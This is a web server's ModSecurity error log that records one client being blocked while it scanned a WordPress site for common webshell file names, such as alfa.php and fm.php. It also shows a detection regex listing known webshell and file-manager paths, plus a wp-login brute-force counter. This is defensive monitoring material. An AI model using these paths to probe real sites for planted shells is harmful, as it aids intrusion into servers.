[Wed Dec 10 00:25:51.020263 2025] [:error] [pid 2280:tid 2349] [client 4.189.144.112:7110] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aThNj3cqIB-8ALgw4ZotWQAAAIw"]
[Wed Dec 10 00:25:52.014870 2025] [:error] [pid 2279:tid 2329] [client 4.189.144.112:7167] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aThNkFmpdQscMcJOElWNSQAAAVM"]
[Wed Dec 10 00:25:53.046098 2025] [:error] [pid 2366:tid 2368] [client 4.189.144.112:7059] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file4.php"] [unique_id "aThNkUAeBjkmsNRkd1M2RgAAAMA"]
[Wed Dec 10 00:25:55.628268 2025] [:error] [pid 2280:tid 2357] [client 4.189.144.112:7097] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aThNk3cqIB-8ALgw4ZotZwAAAJQ"]
[Wed Dec 10 00:26:01.702941 2025] [:error] [pid 2280:tid 2346] [client 4.189.144.112:7117] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aThNmXcqIB-8ALgw4ZotdwAAAIk"]
[Wed Dec 10 00:26:02.833939 2025] [:error] [pid 2366:tid 2369] [client 4.189.144.112:7116] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aThNmkAeBjkmsNRkd1M2awAAAME"]
[Wed Dec 10 00:26:04.660832 2025] [:error] [pid 2366:tid 2392] [client 4.189.144.112:7162] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ot.php"] [unique_id "aThNnEAeBjkmsNRkd1M2cAAAANg"]
[Wed Dec 10 00:26:06.662302 2025] [:error] [pid 2280:tid 2351] [client 4.189.144.112:7050] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aThNnncqIB-8ALgw4ZotfwAAAI4"]
[Wed Dec 10 00:26:07.490451 2025] [:error] [pid 2366:tid 2389] [client 4.189.144.112:7111] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/alfa.php"] [unique_id "aThNn0AeBjkmsNRkd1M2gAAAANU"]
[Wed Dec 10 00:26:21.497147 2025] [:error] [pid 2280:tid 2350] [client 4.189.144.112:7067] [client 4.189.144.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aThNrXcqIB-8ALgw4ZotugAAAI0"]
[Wed Dec 10 00:26:32.030121 2025] [:error] [pid 2280:tid 2356] [client 4.189.144.112:7123] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aThNuHcqIB-8ALgw4Zot_AAAAJM"]
[Wed Dec 10 00:26:33.769985 2025] [:error] [pid 2366:tid 2371] [client 4.189.144.112:7161] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aThNuUAeBjkmsNRkd1M3bwAAAMM"]
[Wed Dec 10 00:26:35.767039 2025] [:error] [pid 2366:tid 2371] [client 4.189.144.112:7101] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aThNu0AeBjkmsNRkd1M3gQAAAMM"]
[Wed Dec 10 00:26:36.801511 2025] [:error] [pid 2366:tid 2372] [client 4.189.144.112:7049] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp.php"] [unique_id "aThNvEAeBjkmsNRkd1M3iAAAAMQ"]
[Wed Dec 10 00:26:38.918423 2025] [:error] [pid 2280:tid 2345] [client 4.189.144.112:6976] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aThNvncqIB-8ALgw4ZouNQAAAIg"]
[Wed Dec 10 00:26:39.448948 2025] [:error] [pid 2279:tid 2317] [client 4.189.144.112:7070] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aThNv1mpdQscMcJOElWODQAAAUc"]
[Wed Dec 10 00:26:43.640614 2025] [:error] [pid 2279:tid 2329] [client 4.189.144.112:7065] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aThNw1mpdQscMcJOElWOOgAAAVM"]
[Wed Dec 10 00:26:44.956026 2025] [:error] [pid 2366:tid 2375] [client 4.189.144.112:7052] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v3.php"] [unique_id "aThNxEAeBjkmsNRkd1M34AAAAMc"]
[Wed Dec 10 00:26:46.139082 2025] [:error] [pid 2277:tid 2295] [client 4.189.144.112:7004] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aThNxoWGo731r6eS-w427wAAAAw"]
[Wed Dec 10 00:26:46.647291 2025] [:error] [pid 2279:tid 2327] [client 4.189.144.112:7143] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aThNxlmpdQscMcJOElWOTwAAAVE"]
[Wed Dec 10 00:26:47.580996 2025] [:error] [pid 2280:tid 2340] [client 4.189.144.112:7089] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aThNx3cqIB-8ALgw4ZoulAAAAIM"]
[Wed Dec 10 00:26:48.812473 2025] [:error] [pid 2280:tid 2354] [client 4.189.144.112:7129] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lib.php"] [unique_id "aThNyHcqIB-8ALgw4ZouqwAAAJE"]
[Wed Dec 10 00:26:50.275734 2025] [:error] [pid 2280:tid 2356] [client 4.189.144.112:6984] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aThNyncqIB-8ALgw4ZouswAAAJM"]
[Wed Dec 10 00:26:51.288789 2025] [:error] [pid 2277:tid 2305] [client 131.72.236.200:60682] [client 131.72.236.200] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 131.72.236.200, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aThNy4WGo731r6eS-w42_wAAABY"]
[Wed Dec 10 00:26:51.434174 2025] [:error] [pid 2280:tid 2354] [client 4.189.144.112:7095] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aThNy3cqIB-8ALgw4ZouuQAAAJE"]
[Wed Dec 10 00:26:52.273333 2025] [:error] [pid 2279:tid 2328] [client 4.189.144.112:7005] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aThNzFmpdQscMcJOElWOYAAAAVI"]
[Wed Dec 10 00:26:54.095509 2025] [:error] [pid 2279:tid 2311] [client 4.189.144.112:7061] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class9.php"] [unique_id "aThNzlmpdQscMcJOElWOYwAAAUE"]
[Wed Dec 10 00:26:55.272135 2025] [:error] [pid 2280:tid 2337] [client 4.189.144.112:7053] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aThNz3cqIB-8ALgw4ZouxAAAAIA"]
[Wed Dec 10 00:26:56.459660 2025] [:error] [pid 2280:tid 2359] [client 4.189.144.112:7135] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aThN0HcqIB-8ALgw4ZouyQAAAJY"]
[Wed Dec 10 00:26:57.542495 2025] [:error] [pid 2280:tid 2342] [client 4.189.144.112:7125] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aThN0XcqIB-8ALgw4ZouzQAAAIU"]
[Wed Dec 10 00:26:58.487803 2025] [:error] [pid 2280:tid 2346] [client 4.189.144.112:7104] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsd.php"] [unique_id "aThN0ncqIB-8ALgw4Zou1QAAAIk"]
[Wed Dec 10 00:26:58.949675 2025] [:error] [pid 2279:tid 2315] [client 4.189.144.112:7090] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aThN0lmpdQscMcJOElWOagAAAUU"]
[Wed Dec 10 00:26:59.726490 2025] [:error] [pid 2277:tid 2289] [client 4.189.144.112:7076] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aThN04WGo731r6eS-w43CwAAAAc"]
[Wed Dec 10 00:27:00.335740 2025] [:error] [pid 2280:tid 2360] [client 4.189.144.112:7122] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aThN1HcqIB-8ALgw4Zou4AAAAJc"]
[Wed Dec 10 00:27:01.215357 2025] [:error] [pid 2277:tid 2288] [client 4.189.144.112:7136] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aThN1YWGo731r6eS-w43DwAAAAY"]
[Wed Dec 10 00:27:02.655067 2025] [:error] [pid 2280:tid 2337] [client 4.189.144.112:7105] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aThN1ncqIB-8ALgw4Zou6QAAAIA"]
[Wed Dec 10 00:27:03.572727 2025] [:error] [pid 2279:tid 2314] [client 4.189.144.112:7000] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aThN11mpdQscMcJOElWObwAAAUQ"]
[Wed Dec 10 00:27:04.088953 2025] [:error] [pid 2366:tid 2382] [client 4.189.144.112:7002] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aThN2EAeBjkmsNRkd1M4CwAAAM4"]
[Wed Dec 10 00:27:05.255944 2025] [:error] [pid 2366:tid 2383] [client 4.189.144.112:7078] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aThN2UAeBjkmsNRkd1M4EgAAAM8"]
[Wed Dec 10 00:27:05.874363 2025] [:error] [pid 2366:tid 2373] [client 4.189.144.112:7073] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aThN2UAeBjkmsNRkd1M4FwAAAMU"]
[Wed Dec 10 00:27:07.448308 2025] [:error] [pid 2280:tid 2352] [client 4.189.144.112:7080] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aThN23cqIB-8ALgw4Zou9QAAAI8"]
[Wed Dec 10 00:27:09.184597 2025] [:error] [pid 2277:tid 2290] [client 4.189.144.112:7084] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aThN3YWGo731r6eS-w43GAAAAAg"]
[Wed Dec 10 00:27:15.757406 2025] [:error] [pid 2279:tid 2324] [client 4.189.144.112:6979] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/habhan.php"] [unique_id "aThN41mpdQscMcJOElWOjAAAAU4"]
[Wed Dec 10 00:27:17.436705 2025] [:error] [pid 2366:tid 2379] [client 4.189.144.112:7072] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aThN5UAeBjkmsNRkd1M4MwAAAMs"]
[Wed Dec 10 00:27:19.957635 2025] [:error] [pid 2280:tid 2356] [client 4.189.144.112:7018] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aThN53cqIB-8ALgw4ZovDAAAAJM"]
[Wed Dec 10 00:27:21.070030 2025] [:error] [pid 2277:tid 2300] [client 4.189.144.112:7085] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aThN6YWGo731r6eS-w43NQAAABE"]
[Wed Dec 10 00:27:22.329433 2025] [:error] [pid 2366:tid 2368] [client 4.189.144.112:7165] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mans.php"] [unique_id "aThN6kAeBjkmsNRkd1M4RwAAAMA"]
[Wed Dec 10 00:27:23.992386 2025] [:error] [pid 2277:tid 2289] [client 4.189.144.112:7048] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aThN64WGo731r6eS-w43OwAAAAc"]
[Wed Dec 10 00:27:25.663474 2025] [:error] [pid 2280:tid 2352] [client 4.189.144.112:7021] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aThN7XcqIB-8ALgw4ZovHgAAAI8"]
[Wed Dec 10 00:27:26.982697 2025] [:error] [pid 2280:tid 2353] [client 4.189.144.112:7142] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aThN7ncqIB-8ALgw4ZovHwAAAJA"]
[Wed Dec 10 00:27:27.991425 2025] [:error] [pid 2277:tid 2303] [client 4.189.144.112:7038] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mah.php"] [unique_id "aThN74WGo731r6eS-w43RgAAABQ"]
[Wed Dec 10 00:27:28.943876 2025] [:error] [pid 2280:tid 2350] [client 4.189.144.112:7056] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aThN8HcqIB-8ALgw4ZovIQAAAI0"]
[Wed Dec 10 00:27:29.533485 2025] [:error] [pid 2277:tid 2285] [client 4.189.144.112:7138] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yas.php"] [unique_id "aThN8YWGo731r6eS-w43SwAAAAM"]
[Wed Dec 10 00:27:49.176855 2025] [:error] [pid 2366:tid 2383] [client 4.189.144.112:7115] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aThOBUAeBjkmsNRkd1M4iQAAAM8"]
[Wed Dec 10 00:27:51.515251 2025] [:error] [pid 2279:tid 2316] [client 4.189.144.112:7163] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aThOB1mpdQscMcJOElWOzQAAAUY"]
[Wed Dec 10 00:27:52.486178 2025] [:error] [pid 2277:tid 2293] [client 4.189.144.112:7075] [client 4.189.144.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/great.php"] [unique_id "aThOCIWGo731r6eS-w43igAAAAo"]
